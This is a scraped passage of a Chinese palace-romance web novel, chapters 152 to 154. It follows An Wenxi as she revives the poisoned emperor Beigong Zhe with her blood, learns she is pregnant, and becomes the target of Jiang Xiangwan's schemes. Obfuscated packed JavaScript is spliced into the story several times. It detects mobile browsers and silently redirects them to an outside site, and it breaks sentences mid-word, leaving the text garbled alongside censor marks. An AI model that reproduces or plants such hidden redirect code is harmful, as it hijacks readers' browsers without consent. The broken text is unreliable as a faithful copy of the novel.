“北宫喆,赶紧醒醒。”安文夕轻轻摇晃着他的身子,握紧了他的手,她好怕他就这样一睡不醒。 须臾,北宫喆微微睁开了眼睛,声音嘶哑,“夕儿……” “不许再睡了,我自己在这里害怕,你陪我说说话。”她拼命的咬住下唇,尽量使自己的声音没有颤音。 “好……”北宫喆说着将自己身上的披风递给安文夕。 “别动,我不冷。” 北宫喆心中一涩,半晌缓缓道:“夕儿,朕有件事……一直瞒着你,既然今日我们要死在这里……朕……朕不妨告诉你……” “其实,你的父皇没死……你母后也能复活……他们就在……青末山庄的竹林北院!” 什么?安文夕不可置信的睁大了眼睛,过去的一幕幕飞快的掠过她的脑海,难道这一切都是他在骗她? 怪不得当时他在竹林中布下了阵法,原来如此,那阵法是他用来提防她呢! “北宫喆,你卑鄙!”安文夕咬牙。 明明知道她一直在为父皇报仇,竟然还骗了她这么久! 北宫喆无力地勾了勾唇,谁都知道曹太后将安莫霖夫妇恨入骨髓,他还没有足够的实力与曹太后抗衡,怎么敢将他们暴露?更何况,他不卑鄙,就留不住她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“夕儿,朕死之前……再叫一声九哥哥好吗?” “九哥哥,九哥哥……你永远是夕儿的九哥哥。” 北宫喆慢慢闭上了眼睛,手掌从安文夕脸颊滑落。 “不要,九哥哥不要!”安文夕立即握住了北宫喆垂下的手,抱紧了怀中的人,声音中是化不开的悲怆,凄厉无比。 她颤着手放在北宫喆的鼻息之下,顿时跌坐在地上,一颗心沉到了谷底。 安文夕缓缓收紧了北宫喆的手,这双一向带着暖意来温暖着她的大手此时冰凉刺骨。她不断地搓着着北宫喆的双手,可是一切皆是徒劳,她再也捂不热他的手了。 若是说济州城外他舍身为她挡箭生死未卜,她害怕了。 那么,此时她已经绝望,北宫喆已经没有了气息。 可是她不相信他就这么**,她不相信那个杀兄弑父、踩着累累白骨登基,尊贵宛如神祗一般的男人怎么会就这样**,她不相信! 第152章 这是喜脉 第一百五十二章这是喜脉 安文夕一口咬破了自己的手指,然后递到北宫喆唇边,不是说她的血脉中融进了千年龙魄,可以救人么,那她今天就要试一试! 可惜,安文夕还没有来得及将手指递到北宫喆唇边,指尖上沁出的血液就已经被冻成了冰渣。 安文夕微微垂眸,缓缓贴上北宫喆的唇瓣,生硬的敲开了他冰冷的唇舌,咬破自己的舌尖,往北宫喆唇中慢慢渡着鲜血。 温热的血液萦绕着二人的口腔之中,被冻僵的舌尖稍稍恢复了一点触感。 不知喂了多久,北宫喆依旧没有鼻息,安文夕只觉得浑身每一个毛孔都渗着寒意,她的意识逐渐模糊起来。 她用最后的力气拥紧了北宫喆,嘴角渐渐攒出一丝无力的笑意,能和他一起死在这里,也未必不好,至少他们可以抛开一起,永远的在一起了。 —— 当楚君昱打开冰雪奇阵,看到安文夕和北宫喆相依偎着的身体时,他的心微微一涩。 他疾步上前,待看到狐皮披风里,安文夕仅着肚兜贴着北宫喆赤裸的胸膛相互取暖时,他的脚步一滞,心中泛起阵阵苦涩。 毕竟他是君,她是妃,这并没什么。 “胭脂,胭脂……” 楚君昱立即用狐皮披风将安文夕裹好,触手的彻骨冰凉令他的指尖一颤,安文夕的长长的睫毛上面结出了一层白霜,嘴唇冻得发紫,即使他将她抱起,她依然还是保持那个冻僵的姿势,楚君昱的心顿时沉到了谷底。 自从北宫喆他们踏入西楚的境内,他们的行径他皆了如指掌,密探刚刚回禀北宫喆和安文夕二人困在了冰雪奇阵,他就立即马不停蹄的赶来了幽冥山。 难道他还是来晚了么? 楚君昱心里顿时有些怕了,二十多年来他第一次害怕了,他终于还是颤着手放到了安文夕冻得通红的鼻子下面。 探到她微弱的呼吸,楚君昱嘴角蓦地攒出了一抹惊喜的笑容,她还有救! 楚君昱立即将内力缓缓渡入安文夕体内,保住她的心脉。 青玄和月清绝等人随后赶来,看到僵坐在雪地上的北宫喆,立即惊慌着将他从地上搀起,“皇上……” 月清绝抓住北宫喆冰凉的手,顿时心凉了半截,他微微闭上了眼睛,在心里默念道:北宫喆你这个臭小子不许吓我,你以前比这还凶险的情况都挺过来了,这次一定也不会有事! 月清绝探向北宫喆的脉搏,不可置信的睁开了眼睛,死死抓住他的手腕,再三探脉,可是依旧探不到他的脉搏,而且他的体内还有两种毒素肆意蔓延。 月清绝探了探北宫喆的鼻息,整个人顿时跌坐在地上,脸上一片死灰。 这怎么可能?他不相信! 陌姑姑一下子冲了过来,再次探过北宫喆的脉搏,眸光敛尽,最后一把抓住北宫喆的双手,将自己所有的内力全部输入到北宫喆体内,一头青丝一瞬之间悉数全白,她蓦地喷涌出大口鲜血,然后身子直直坠地。 这一幕发生的太快,几乎让众人措手不及! “陌姑姑……”青玄立即将她接住,眼底一片震惊,这个陌姑姑竟然将自己一身的内力修为全部渡给了皇上! 再联想到她曾经在夏宫三番五次为了皇上而顶撞瑾淑妃,他的心底掀起巨大的惊骇,难道真的是她? 陌姑姑颤着手从脖子里取下一块古老而普通的玉石,将它打开,取出一粒红色的药丸递给月清绝道:“给他服下。” 这粒药是先帝给她的,当年即便是如此艰难她也没有用,如今希望能够保他一命! 陌姑姑交代完,慢慢闭上了眼睛。 “陌姑姑,陌姑姑……” 月清绝给陌姑姑把了把脉,然后给她喂了粒药。 楚君昱抱着安文夕,对众人道:“事不宜迟,立即回宫!” 郦城别宫,这里是当年西楚文帝为楚君昱母妃所建造的别宫,多年荒废,如今已经不复当年奢华场面。 楚君昱将北宫喆和安文夕二人带到这里之后,月清绝立即为二人准备了药浴温泉。 泡完药浴之后,安文夕依旧没有醒来,而北宫喆也依旧没有半点生命迹象,月清绝蹙着的眉头一直没有消下去。 江向晚坐在榻前,紧握着北宫喆依旧冰凉的手,看着他惨白的脸色,眼眶微红。 他怎么可以抛下她呢,他难道不知道他若是有什么意外,她活着也没什么意思么? 更何况,没有了他,大夏的江山就要全部落入曹太后之手了!他这些年步步为营,为的就是登基为皇、君临天下,可是他怎么能为了安文夕拿自己的生命去冒险呢! 这时,江向晚恨极了安文夕! “江小姐,还请你回避一下,我现在要为皇上施针。”月清绝对江向晚道。 江向晚起身一把攥住了月清绝的手腕,仿佛抓住了一根救命稻草一般,“月公子,请你一定要救活皇上!” 月清绝一怔,江向晚此时身体虚弱不堪,哪来的这么大的手劲,他不动声色的抽出手腕,对她道:“我自当竭尽全力。” 江向晚回头看了眼北宫喆,然后面含担忧的出了寝殿。 她刚走了两步,脚步一顿,目光瞥了眼安文夕所在的宫殿,眸光飞快的划过一抹黯光,缓步回了她的房间。 “雪嫣,安文夕那里的情况如何了?” “回小姐,还没有醒,楚皇一直守在那里,奴婢靠近不了。” 江向晚闻言嘴角勾起一抹讥笑,这安文夕勾引男人的本事倒不少,就连楚君昱也被她迷得团团转。 雪嫣仔细打量着江向晚的脸色,小心翼翼道:“小姐,奴婢觉得这一次皇上肯定会恼了那瑾淑妃,毕竟这半夜三更的,楚皇和瑾淑妃……若是传出去的话,谁也说不清……” 江向晚脸上蓦地一冷,对雪嫣道:“你先下去为皇上煎药。” “是。”雪嫣立即垂头退下。 雪嫣走后不多一会,一条黑色的身影悄无声息的从屋顶掠过。 月清绝先为北宫喆施针,用金针探穴强行打通他的任督二脉,让陌姑姑输入他体内的内力能够游走在他的血脉之中。同时,他也很清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492550|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,此行只会加剧他体内那两种剧毒的蔓延。 目前他体内的两种毒,一种是中了密林中的瘴气,而另一种,他现在也不敢确定。 半个时辰后,月清绝将北宫喆身上的金针一一拔去,但愿明天能够探到他的脉象,否则他也无能为力了。 月清绝擦了擦额头上的细汗,还没有来得及喝上一口水,月无双就急匆匆的赶来,“喆哥哥怎么样了?” “接下来得看他的造化了。” “那你先跟我来。”月无双不由分说将月清绝拉到了安文夕那里。 此时,安文夕静静地躺在床上,脸色惨白,虽然泡了药浴温泉,仍然气若游丝,楚君昱一直守在她的榻前。 “哥,你快看看夕姐姐。” “你没有为她把脉?”月清绝狐疑的看了眼月无双。 “把了,可是……”可是,她实在是不敢确定。 “月公子,刚才无双姑娘已经为胭脂把过脉了,可是朕问无双姑娘,她却什么也不肯说,月公子看看胭脂现在的情况到底如何?” 月清绝拉过安文夕的手,待探过脉之后,指尖蓦地一颤。 月无双观察着月清绝的脸色变化,抿了抿唇道:“哥,到底是不是,无双不敢确定……” “是,只是脉象太弱了。”月清绝蓦地笑了。 一旁的楚君昱瞬间明白了几分,心中一滞,半晌道:“难道是……” “没错!”月清绝肯定道,“是喜脉,只不过她现在的脉象太弱,而且月份又小,无双把不出来也正常。” “哥,我把出来了,只是不敢确定罢了。”月无双眉眼之间带了喜色。 喜脉?怎么可能!房顶上的江向晚有些不相信的透过瓦片看向内殿,他记得每次喆从未央宫出来都会送去一碗息子汤,而且安文夕身中息子魂殇,根本不能有孕,喆怎么会让她怀上孩子? 难道是……江向晚蓦地想起在济州之时,安文夕曾单枪匹马去了沐阳,她眸光一凛,眼底闪过一抹笑意,一定是这样,安文夕肚子里的孩子一定是那慕容清的! 既然安文夕怀了慕容清的孩子,她倒要看看这一次喆还会不会容得下她! 江向晚将瓦片重新放回,身形一闪,再次沿着屋顶返回了她的房间。 楚君昱听到屋顶上细微的声响,嘴角苦涩的笑意还没有来得及收去,眸光变得凌冽起来,若有所思的打量了眼屋顶,然后缓缓收回视线。 众人皆沉浸在这个突如其来的喜悦中,对屋顶上的情况丝毫没有察觉。 “这个孩子倒也命大,在冰雪奇阵里困了这么久,大人都冻僵了,他却安然。”月清绝赞道。 “欢凉,夕姐姐有小娃娃了!”月无双激动地拉着一旁的欢凉。 欢凉神色之间带着忧色,全然没有月无双那么兴奋,她还不清楚公主现在对北宫喆是个什么态度,如今怀了他的孩子,也许,公主并没有打算将这个孩子生下来。更何况,现在公主一直昏迷不醒,也不知道公主身体状况如何。 “月公子,公主什么时候能够醒来?” 第153章 还爱着他 第一百五十三章还爱着他 “她不过是在冰雪奇阵待得时间太久,寒气入体,如今已经泡过了药浴温泉,倒也没什么大碍了,我先为她开几副药,顺便再开几副安胎药,虽然这孩子保住了,但是胎位不稳,还是要好好调养调养。”月清绝摇摇头,北宫喆这小子倒真是个痴情种子,自己多处重伤,而却将安文夕护得周全。 “臭丫头,你就放心吧,小师妹吉人自有天相,一定会没事的,我要做小舅舅了!”袭匀难以抑制自己的兴奋,他才不管孩子他爹是谁,只要孩子是小师妹的,那就是他外甥! “月公子,那公主中的息子魂殇……” “已经拿到七味草了,小丫头,你就放心吧,你身上的蛇毒虽然清了,但是药还是得继续吃。” “欢凉知道了。” “好了,让她多多休息吧,无双,你跟我去瞧瞧陌姑姑。”那可是一个不能大意的人物,月清绝说着背起了药箱。 “玉……皇上,你先去休息吧,公主这里有我呢。” “无碍,朕想守着胭脂,你们先去歇着吧。” 欢凉抿了抿唇,“那好,我和袭匀就在隔壁,皇上若是有什么吩咐,直接叫我便可。” 袭匀本想告诉楚君昱让他避嫌,毕竟小师妹都已经怀了北宫喆的孩子了,这孤男寡女共处一室难免惹人闲话,可是想到楚君昱将安文夕从那冰雪奇阵里救了出来,最终还是作罢,任由欢凉将他拉了出去。 此时,偌大的宫殿内只剩下了楚君昱和安文夕二人,红烛摇曳,一室寂静。 楚君昱坐在安文夕榻前,看着她苍白的脸色,楚君昱眼底浮现一抹怜惜,看着她放在小腹之上的双手,终究没有勇气握上去。 楚君昱自嘲一笑,如今她都有北宫喆的孩子了,他也已经立了皇后,他们之间再无可能了。 烛光一闪,一抹黑影闪进了宫殿内,楚君昱眸光一敛,对身后道:“刚才屋顶之人是谁?” “回皇上,是江向晚。” 楚君昱抬眸,“她在上面待了多久了。” “月公子还未来的时候,她就在上面了,直到皇上发觉。” “行踪如此悄无声音,可不像是将死之人。”楚君昱眸光幽深。 半晌,他又道:“朝堂之上如何了?” “回皇上,对外暂称皇上染了风寒,这几日罢朝。”夜影恭敬道,皇上一听到安文夕被困在冰雪奇阵的消息,立即抛下了宫中的一切,甚至都没有任何交代就直接赶赴了幽冥山。 “朕知道了,你先下去吧。” “是。”夜影犹豫了一瞬缓步退下。 “慢着,朕出宫的事情务必瞒着众人。” “属下明白,可是皇上出宫这件事必瞒不久,皇后娘娘已经三次熬了药送到了您的寝殿。” “能瞒多久是多久!”楚君昱眉宇之间隐隐有些不耐,“皇后若是太闲了,就给她找些事做!” “是,属下明白,瑾淑妃如今身怀大夏龙嗣,还望皇上断了心思。” “放肆!”楚君昱蓦然起身,极力压抑着怒气,邪魅的凤眸泛出丝丝恼怒。 “夜影这就去自领十军棍,属下告退。” “滚下去!”楚君昱怒不可遏道,这个夜影简直太狂妄,若不是看在他从小跟在他身边,他这就废了他! 楚君昱握了握拳,又重新坐在了安文夕榻前。 “九哥哥,九哥哥不要!”安文夕仿佛陷入了梦魇一般,不安的挥动着双手,突然她一把抓住了楚君昱的大手,死死地握着。 楚君昱的心顿时一颤,“胭脂,胭脂……” 安文夕依旧拧着黛眉,额头上沁出了一层细汗,紧紧攥着楚君昱的大手。 楚君昱以及从怀中取出手帕为她擦了擦汗,安文夕的情绪慢慢平复下来,渐渐睡得安稳。 夜色渐深,整个行宫也安静了下来。 梦里,安文夕被北宫喆紧紧握着手,而身后是面目狰狞的慕容清紧追不舍。四周冷的可怕,汹涌着的冰冷将她肆意吞噬。 突然,她脚下的土石一松,眼前的景色一转,她竟然被逼到了悬崖边上。 “啊!”她的身子一颤,看着深不见底的悬崖,眉头紧锁,而她身侧的北宫喆此时浑身是血。 身后的慕容清笑得越发的狂妄起来,“这次朕倒要看看,你们还往哪里逃,放箭!” 一边是万丈悬崖,一边是漫天的羽箭,在她还没有反应之际,北宫喆已经将她拦腰抱起,直接跳下了悬崖。 耳边是呼啸的寒风和横生的枝杈,北宫喆紧紧将她护在了怀中。 落地之时的一声重击,令她心底一颤,大惊道:“九哥哥!” 楚君昱感觉双手倏地被紧握,睁眼对上双瞳蓦地睁开的安文夕,惊喜道:“胭脂,你醒了?” 安文夕此时后背被汗水湿透,整个人犹如从水中捞出来一般,大大的杏眸怔怔的睁着,刚才梦里的一切,真实的可怕! 她微微偏过头来,待看到略带疲倦的楚君昱时,眼底飞快的划过一抹惊色,立即收了握着他的手,“玉公子,我怎么会在这里?九哥……北宫喆呢?” 楚君昱瞥了眼自己的猛然空下来的双手,眸光掠过一抹黯色,“这里是骊山行宫,北宫喆……他在旁边的寝殿里。” 安文夕挣扎着起身起身,楚君昱立即阻止她道:“你别乱动,好好躺着。” “多谢玉……皇上相救。”安文夕还是半坐起身子,对楚君昱微微福身,既然他们现在身处骊山行宫,不用猜也知道是楚君昱救了她和北宫喆。 “胭脂,你太客气了,还是唤我玉公子吧。”她举止得体中带着拒人千里之外的疏离令他心中微涩。 安文夕咬了咬唇,开口道:“北宫喆他……” “生死未卜。” 安文夕心中咯噔一下,犹豫半晌一把掀开身上的锦被,楚君昱眉头微皱,“胭脂这是要要做什么?” “我想去看看他。” 她脸上的焦虑楚君昱尽收眼底,垂眸劝道:“月公子说你的身子比较虚弱,还是……” 安文夕打断他道:“不然我不会安心的。”他拼尽全力护了她周全,他现在生死未卜,她怎么能坐得住? 她不由分说的径自下床,随手拿过床前的披风往自己身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501038|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一裹,就要往外走去。 “就是你不爱惜自己的身体,也该为了肚子里的孩子好好休息。” 安文夕闻言脚步一滞,蓦地扭过身来,震惊道:“你……你说什么?” 楚君昱嘴角牵着一抹苦笑,“胭脂你……有孕了,这是月公子亲自诊断出来的,不会有错。” 有孕…… 安文夕眸光轻垂,她好像一个多月都未来葵水了,这么多天来,一直在奔波劳碌,她压根就忘记了葵水的事情。 她蓦然攥紧了衣角,咬了咬下唇,一定是在沐阳青华宫那次,她以前一直都会喝息子汤,而那次事因匆忙,后来也就忘记了那件事。 楚君昱见她脸上浮现的寡淡神色,而不见半分喜色,心中微惊,难道她不想要这个孩子么? “胭脂,能够在冰雪奇阵下存活下来,这个孩子很命大。”毕竟孩子是无辜的,他还是希望她能够将孩子生下来。 “玉公子放心,我没有不要他。”安文夕感激的看了眼玉公子。 她双手慢慢腹上自己平坦的小腹,没想到这里竟然有了个小生命,想起自己在冰雪奇阵里困了这么久,而他依然安然无恙,安文夕微微勾了勾唇,这个孩子果然命大! “月公子说胭脂现在胎位不稳,要多多休息。” 安文夕咬了咬唇,再次走到榻前,看着楚君昱眉眼之间的倦色,心中一涩,对他道:“玉公子,你先去休息吧,我已经无碍了。” 楚君昱点点头,“我让欢凉姑娘进来陪你。” 欢凉进来见到安文夕脸上已经恢复了些气色,心中一喜,“公主,你现在感觉如何,可有什么不适?” “我现在就是身上没有力气,其他的已无大碍。” “公主被困在了冰雪奇阵将近一天一夜,自然饿了,待会喝了药之后,再吃点清淡的食物吧。” “欢凉,北宫喆的情况到底如何了?”虽然楚君昱说生死未卜,但是她直觉情况只会更糟。 欢凉脸上的笑意淡淡逝去,抿了抿红唇道:“至今没有气息,月公子说若是明日再探不到脉搏的话,就……” “什么?”安文夕顿时整个人如坠冰窖。 “欢凉,你带我去,现在也许只有我还能试一试。”安文夕眼中带着决绝。 “公主……”欢凉担忧的看了眼安文夕的小腹。 安文夕顺着她的视线看去,顿了一瞬道:“没事的。” “公主,你真的决定了么,你要放弃报仇了么?”看公主的样子不仅要将孩子生下来,还要一并接受了那北宫喆。 “欢凉。”安文夕怔怔的盯着她的眼睛一字一句道:“父皇他还活着,就是母后也有机会复活!” “什么?”欢凉惊讶的捂住了嘴巴。 “这件事究竟是怎么回事,恐怕就只有父皇和北宫喆知晓了。” “公主决定要和北宫喆在一起了么,晟世子那里怎么办?” “欢凉,我骗不了自己,我还爱着他,既然这样,我为什么不去争取呢?至于晟哥哥那里,我该做的不该做的都已经做了,他若是真的贪图皇位,那就靠他自己去夺吧!” 第154章 我想陪他 第一百五十四章我想陪他 “公主,你既然做了决定,欢凉支持公主。”欢凉淡笑道。 公主终于做了决定,她向来喜欢公主敢爱敢恨的性子,偏偏在北宫喆这件事情上优柔寡断了这么久。 既然现在皇上和皇后娘娘都还在,那么,公主和北宫喆之间的误会也该全部解开了吧。可是,如今那北宫喆……欢凉想到这里,又叹了口气。 安文夕再次取下披风,欢凉也没有拦她,搀着她出了大殿。 北宫喆所在的宫殿内红烛摇曳,灯影幢幢,一室寂静,宽广的宫殿内却寻不见半个人影。 本以为会撞见江向晚,此时安文夕心中一松,没有她,倒方便多了。 绕过屏风,北宫喆躺在床榻之上,脸色惨白,眉宇之间微微泛着黑紫,安文夕心中一沉,快步上前,一把抓住北宫喆的手,触手的冰凉令她紧蹙着黛眉。 指尖轻移,探到他的手腕之处,依旧没有半点脉象,安文夕轻垂眸色,拿过事先准备好的**与瓷碗,拉开衣袖,露出伤痕斑斑的手腕,她毫不迟疑的在刚刚痊愈的伤疤上再次划开。 “公主……”欢凉惊呼道。 眼前的女子连眉头也微皱一下,利索的拿起瓷碗接下她手腕处渗出的鲜血,在跳跃的烛光下,她娇小的身影更显孱弱。 “公主,差不多够了。”公主她将近两天没有进食,又在冰雪奇阵里折腾了那么久,如今取了这满满一碗鲜血,她的身子怎么能吃得消啊! 安文夕放下盛满了鲜血的瓷碗,任由欢凉将伤口包扎,然后扶起北宫喆,端起瓷碗,以口相渡。 欢凉立在她的身后,看向安文夕丝毫不顾及的行为,慢慢压下心底的惊骇。 一口一口的喂下去,大大的杏眸里尽是坚定,那小小的身影沁满了执着,欢凉最终还是不忍的别开脸去,半晌道:“公主,我去为你煎药。” 将满满的一碗鲜血全部喂尽,几乎用了半个时辰,待欢凉端着药汁过来时,安文夕刚刚放下了瓷碗,然后她又为北宫喆喂了点水。 “公主,这是安胎药,赶紧趁热喝了吧。” 安文夕的脸色比刚才又白了几分,接过了欢凉递来的药,一饮而尽,慢慢的苦涩压下了口腔内浓郁的血腥味。 看着安文夕握着北宫喆的手,一副想要守着他的样子,欢凉不禁开口道:“公主,已经喂完了血,不如先去休息下吧,你自个儿的身子还虚弱着呢。” “欢凉,我想陪着他。” 欢凉扫了眼宽大的床榻,抿了抿唇道:“不如公主去榻上吧,夜里凉。” “也好,你也回去睡吧。”安文夕翻身上榻。 “欢凉无碍,就在外间守着公主。” 北宫喆的手依然冰凉,好像怎么也捂不热一般,安文夕慢慢的揉丨搓起来,然后拉着他的手放在她的小腹之上,在他耳边轻声道:“九哥哥,你知道么,咱们有孩子了,你要做父皇了,赶紧醒来好不好?” “九哥哥,你醒来,我们重新开始好不好?” “不要抛下夕儿一个人……” 她的指尖划过北宫喆苍白的脸颊,一一流连过他好看的眼睛,高挺的鼻梁,最后落在他的薄唇上,忍不住轻轻吻了吻。 不知过了多久,感觉自己握着的手微微一颤,安文夕蓦地一惊,伸手探到北宫喆的鼻翼之下,感受到那若有若无的呼吸,她眼眶一涩,咬着下唇忍下眼底的酸楚。慢慢,嘴角不觉间爬上了一抹浅笑。 “欢凉,欢凉,快去叫月公子,北宫喆他,他有呼吸了!” “好,欢凉这就去!”欢凉闻言立即惊坐起来,身形一闪,转瞬奔向了月清绝的房间。 月清绝为陌姑姑诊断以后,已经到了后半夜,他拖着疲倦的身子来到他所住的厢房,连衣服也未脱,直接一头倒在了床上,他连着为北宫喆他们三人问诊,实在是累得连眼皮也不想抬了。 没过多久,一道黑影悄无声音的潜进了月清绝的房间,飞快的在他的药箱里翻腾,待翻到那株晶莹剔透的七瓣小花时,女子红唇一勾,眸中划过一抹阴狠。 就让安文夕和她肚子里的孽种全都见鬼去吧! 她直接往怀中一塞,看了眼正在熟睡中的月清绝一眼,身形一闪,顿时消失在了房中。 隐在黑暗中的月清绝缓缓睁开了眼睛,眉眼之间哪里还有刚才疲倦不堪的神色,看着江向晚逐渐隐于黑暗的身影,眸光深深,然后从怀中取出七味草来,端详了片刻,又重新将它收回袖中。 这七味草可是北宫喆拿命换的,他怎么敢如此大意? 刚才江向晚拿走的不过是一株雪上冰莲罢了,本来峰顶上的冰山雪莲和山麓上生长的就有不同,江向晚认不出来很正常。 不过,如今看她神出鬼没的情况,倒也用不着这雪上冰莲吊命了!竟然如此,他干脆多往青末山庄送些。 月清绝按了按太阳穴,略带倦意的闭上了眼睛,半晌,他撑着床起身,终究还是不放心北宫喆。 罢了,他就是个劳碌命,但愿北宫喆此吉人自有天相,这次也可以逢凶化吉! 他还未出门,只见欢凉风风火火的赶来过来,不由分说一把将他拉走。 “慢点慢点,小丫头,到底何事?”这么****糙糙可不是欢凉的行事风格,他差点以为是无双那丫头。 “月公子,北宫喆有救了!” “有救?” “公主给他喂了血,不久他就有呼吸声了!”欢凉眉宇之间是难以掩饰的兴奋。 “走,赶紧去瞧瞧。”月清绝立即背上了药箱。 安文夕已经收拾妥当,下了床榻,待听到月清绝急切地脚步,立即起身道:“月公子,你快来看看。” 月清绝扫了眼她没有半点血色的脸颊,愣了一瞬,然后给北宫喆把脉,然后喜极而泣,激动的语无伦次道:“我就说这小子不会这么容易死!” “他现在没事了么?” “死是死不了了,只是……”月清绝搭在北宫喆手腕上的指尖一颤,脸色顿时一变,“坏了!” “怎么了?” 月清绝抬眸对上安文夕的满目担忧,“他原本身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501039|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上只有在密林之中中的瘴气之毒,不料这毒气渗入心肺之中,继而引发了他体内的另一种毒。” 以前北宫喆也经常被人下了各种各样的毒,不过都难不倒他月清绝,不曾想有人竟然将毒下得如此隐秘,还是还是那样令人胆寒的南昭蛊毒,可见那人的心肠歹毒。 “另一种?”欢凉也惊讶道。 月清绝稍稍点头,“没错,这种毒是一种慢性毒,已经在他身体内潜伏了二十二年,只怕他出生不久就被下上了。” “是曹暮烟。”安文夕垂眸,只有那个老妖婆才会如此没有人性,会对新生婴儿下手! “和我想的一样,因为是慢性毒,这么多年来并没有发作过,所以一直不曾发现。” “难道仅仅是没有发作,就没有发现么?那月公子的神医之名可要令人质疑了。” “果然什么都瞒不了瑾淑妃。”月清绝收回了手,眸光一沉,“只怕这毒来自南昭!” “南昭?” “是,我自诩医术一绝,但凡中原的**一类,没有我不清楚的,可是,北宫喆这小子身上中的毒我却是第一次见到。” “既然这毒来自南昭,那中原是没有解药了?” “这个目前我也不能断言,这样吧,我给老爷子发一封信,看看能否将他请出谷。” 安文夕心中蓦地一沉,那月无痕已经将近二十年没有出谷了,月清绝既然请他出谷,那么北宫喆身上所中的毒绝非一般。更何况,曹暮烟为人阴狠,她下的毒怎么可能让人轻易解开? “月公子,你若是知道什么,希望你不要瞒着我。” 看着她坚定的眼神,月清绝脸色丨微凝,“放心吧,不管用什么办法,我一定要将这毒解了。” “如此多谢月公子了。” 安文夕忙碌了半夜,本就虚弱不堪,又取了一碗鲜血,此时心力交瘁。得知北宫喆有救,再也无法抑制疲倦,脑袋一沉,身子渐渐往后倒去。 “哎哎……” “公主——” 月清绝为她探了探脉,摇了摇头,“身子本就弱,又折腾了大半宿。” “月公子,麻烦你帮我一把,我送公主回房。” “还回什么房啊,他俩本就是两口子,就让她在这里睡吧,回头也省的本公子两头跑了。” 欢凉抿了抿唇,“那好吧。” “小丫头,你在这里守着吧,我再去看看陌姑姑。” “月公子,公主她……” “没事的,她长久未进食,又是取血又是喂血的,这是累得。天亮后,等她喝过药给她熬点小米粥。” 欢凉点点头,“我知道了,月公子。” 月清绝临走时捏了捏欢凉的粉颊道:“别整天愁眉苦脸的,一点都不可爱,都快成黄脸婆了。” 欢凉一惊,一把打掉他的手,咬牙道:“你才是黄脸婆。” 看着她又羞又恼,张牙舞爪的样子,月清绝呵呵一笑。 月清绝走后,欢凉双颊顿时红了个彻底,抬手压住心口,只觉得心跳得飞快。